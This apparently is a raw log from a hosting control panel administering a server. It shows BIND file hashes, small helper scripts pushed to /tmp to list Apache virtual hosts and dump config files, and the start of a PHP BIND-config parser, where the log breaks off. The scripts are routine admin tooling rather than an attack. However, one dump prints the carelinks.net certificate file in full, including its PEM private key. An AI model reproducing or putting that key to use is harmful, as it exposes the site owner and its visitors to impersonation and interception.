MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 19:31:15: Establishing a connection
2026-01-03 19:31:16:
PUT: /tmp/pkp187617
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2026-01-03 19:31:17:
chmod 755 /tmp/pkp187617; /tmp/pkp187617; rm /tmp/pkp187617
2026-01-03 19:31:17:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:2)
alias www.carelinks.net
port 80 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:2)
alias www.carelinks.org
port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
alias www.persianchurch.info
port 80 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:3)
*:443 is a NameVirtualHost
default server carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
port 443 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
alias www.carelinks.net
port 443 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:20)
port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
alias www.persianchurch.info
port 443 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:24)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2026-01-03 19:31:17:
PUT: /tmp/pkp492727
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/carelinks_www_net.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 19:31:18:
chmod 755 /tmp/pkp492727; /tmp/pkp492727; rm /tmp/pkp492727
2026-01-03 19:31:18:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_www_net.conf 1240
<VirtualHost *:80>
ServerName carelinks.net
ServerAlias www.carelinks.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks
<Directory /var/www/carelinks>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/www_access.log combined
ErrorLog /var/log/apache2/carelinks/www_error.log
SetEnv pkp_uid 41
SetEnv pkp_owner carelinks
</VirtualHost>
<VirtualHost *:443>
ServerName carelinks.net
ServerAlias www.carelinks.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/be70646a2e1144028f50a65574b0ded5.crt
DocumentRoot /var/www/carelinks
<Directory /var/www/carelinks>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinks/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2026-01-03 19:31:18:
PUT: /tmp/pkp827251
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/be70646a2e1144028f50a65574b0ded5.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 19:31:19:
chmod 755 /tmp/pkp827251; /tmp/pkp827251; rm /tmp/pkp827251
2026-01-03 19:31:19:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/be70646a2e1144028f50a65574b0ded5.crt 5385
99:6a:a8:06:1a:74:8e:5e:d2:ce:54:39:9a:bc:fb:1a
-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgISBn64SMHD4yMv+bqMgE6mOok3MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAyMDUwMTQ4WhcNMjYwNDAyMDUwMTQ3WjAYMRYwFAYDVQQD
Ew1jYXJlbGlua3MubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
1CiHzPrpOZ68ZYzs45FjtCeGY9PMAMw6UkGzlvWcFh1HgvBikTi0izlLP2bIskak
ZWrQime21Ujp0GaR7yGOm3pqHbZCaOMciQ00Zk70i3VTFrvzbpUg0/hfJ6ZDYpd2
FDSu0Z99kbCWK3ndyIrxQP64EwojcmKHqmbnQj7aUvV3yXVjMtntuGtGWAYNEiGe
ITtVBbxcwshoigKKlSN1Xu7nOe56wTKmaa+R+pzlDcf5ZitbjyfyQOVZp5OQM1fW
i44gYWTkLgJsD1unVkZGpkRvs4l7c1HosgNZh+2l/4wLj+vdoCkW5+N/ux6/1LnU
mJ9HF5rZQA4cUDaHWJhdpQIDAQABo4ICODCCAjQwDgYDVR0PAQH/BAQDAgWgMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBTgJAGzg3ZWX6FNZLoiHjEMjS/GNTAfBgNVHSMEGDAWgBTnq58PLDOgU9Ne
T3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTMuaS5sZW5jci5vcmcvMCsGA1UdEQQkMCKCDWNhcmVsaW5rcy5uZXSCEXd3dy5j
YXJlbGlua3MubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6Ah
oB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNTYuY3JsMIIBDAYKKwYBBAHWeQIE
AgSB/QSB+gD4AH4Apcl4kl1XRheChw3YiWYLXFVki30AQPLsB2hR0YhpGfcAAAGb
fUrkjgAIAAAFAC2WTV0EAwBHMEUCIDq5GCHvr0Qsy+XIp/RHNSRuqS15njaGqe6J
pdjK+cljAiEAua5s4Tn7h5bkn9rR9pRvMLyiY+CC4xh7Mrji1pl3oOUAdgAWgy2r
8KklDw/wOqVF/8i/yCPQh0v2BCkn+OcfMxP1+gAAAZt9SuqqAAAEAwBHMEUCIQDA
89jFVkeitOX4ZGE63eWQ5QVZZ3lJhwWmXJ+wSqYwMQIgDe3pvSWHjmgEVj8mV27g
U0TaxPqpKIZbNpJsdZJp7MAwDQYJKoZIhvcNAQELBQADggEBABhG4aYRNN1gHUh+
G+s6Chztqow/vpnwogfcMi8v24VipZGdtQl33G6YqdmGohM1SQWYEp4J86eqX6C0
PQ8wTj3HfMGqH1tqIr6FN0ZAmnHKutxQqgG9LFhIQMFNEsVVCqfaPnA0PPmgPPbZ
es2TYzC/yaw5EsP1llm8w0dDIsisHld5ss9LWaW9oQ9MSrAhT9gaTw3wysnqoogY
apI40mpY/HeoacGRS95lsxmL0Tu1Di4JGyHLJBrFRSGDRASX7RqDwEM+t5YPXn7n
uT9j97bNFlRnlaBa/7Vz+tlhzXMHj6g21jFjzJk/nhZeWDy1uSjFr0zzmj9hLkiG
NGuSc1g=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDUKIfM+uk5nrxl
jOzjkWO0J4Zj08wAzDpSQbOW9ZwWHUeC8GKROLSLOUs/ZsiyRqRlatCKZ7bVSOnQ
ZpHvIY6bemodtkJo4xyJDTRmTvSLdVMWu/NulSDT+F8npkNil3YUNK7Rn32RsJYr
ed3IivFA/rgTCiNyYoeqZudCPtpS9XfJdWMy2e24a0ZYBg0SIZ4hO1UFvFzCyGiK
AoqVI3Ve7uc57nrBMqZpr5H6nOUNx/lmK1uPJ/JA5Vmnk5AzV9aLjiBhZOQuAmwP
W6dWRkamRG+ziXtzUeiyA1mH7aX/jAuP692gKRbn43+7Hr/UudSYn0cXmtlADhxQ
NodYmF2lAgMBAAECggEABRHK3O0J8aSHX+3UI0PwG/ft0CjZcRNwOVL0laDcz/J3
KPvRfyLZvZHq6GLuXMQvXXUF8qizx7jsTVyGFC67F5//NSKLx7HVlrjIDcHJOiPd
jmeDU5sgo7AFpg7lAVAZNDZmDwA+oeKUVAmfcRFQ3nq3r0zIuAz+rOW0lPKniN/l
jSnRYPnZAznIa6FqZJHFp2dp2CZ+ItNiw0e+mGfgdUJNisR2fub9DG+AzPPt/lAX
ox53KkWEnatSNUut/mYtZLMp2WMQUWQj39D5Y17jKe+5+thngacnwDWkrl1/SCJm
KMnuzV0KFAm4yaG5sdswOXT8CX3AzIY/WY9Tiear6QKBgQDy9Zi+GojhF+t+NgFU
nfNec3zf5oXVB6GgVh+AClK9ZVIiIYFw7EBpuZVc4L2eDsxyTXiuJUXzigqtsMQ5
ZTqIV/hDfiShweHPP/xuVnnG7uIvSIqrANA9OC7FbI+Li+fnXWls5VIBnN9dChZw
nrCdMqw5PzNYNr0p3BpVOIAa+wKBgQDfi7WmReOGE3RlfZcwcjEnnoenN1oe5GzQ
6+AediPy94a7xBKYKGb3JGfRomq6siLFBLzELfCQAwsUfIzCB/TMQoix97MQ+poH
uqK0M70Lg+hQWEvql/9QsDPm0sGNmPcjWWa3dzAarM5hkjcsS8wQYs8sLHbSulnL
lApcbYwH3wKBgQDBa4BUJ6+881wJOFlK0gxDr1FEtrLo65Biou2k85L3MMh4X5A7
I/oLsTEVpd2PDVz5ym8+xHGx9r2VlVpCDzLQBKiiorPrCv0ID3qZJMMB+n+bAPdU
N+uQMUAa79g/UfwnFxitFst4eTjhSvyeX9de7k5prMTlf36M6qsUGUzzLQKBgQCg
mJP1Ufw01EEosGMvcLoThnZaEQ/zZZMvPGWUPLdy05S9zAy3tz7RihvzpMUcPuFv
vQmHvqE2NJl/LENLGcAqBhqCEDtalU6XAuPkpc7IOQlqvyQ68tt/Mjb3Oq3GdgAG
KzH51+x9HWxe+FYewo1lsDa5u2/Zz/q2oDIZWLHi7QKBgQCfeCjvjTNVbSzPsjOp
fJ6X8di/y2C+St33PYk+1zP6nk6lEUWs5uG8uYhoOUb7CgImGaIg27br1xN0Rf1r
qeHn3zG4rPQJ8Yo97wX6VEM0BNZWgE+rGeJ29jjCXwlDSd/np18rZ3a5lQzvEdw7
Fh5O3SomVbmSlws2UspJ1FQgxQ==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2026-01-03 19:31:19: Establishing a connection
2026-01-03 19:31:20:
PUT: /tmp/pkp763681
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
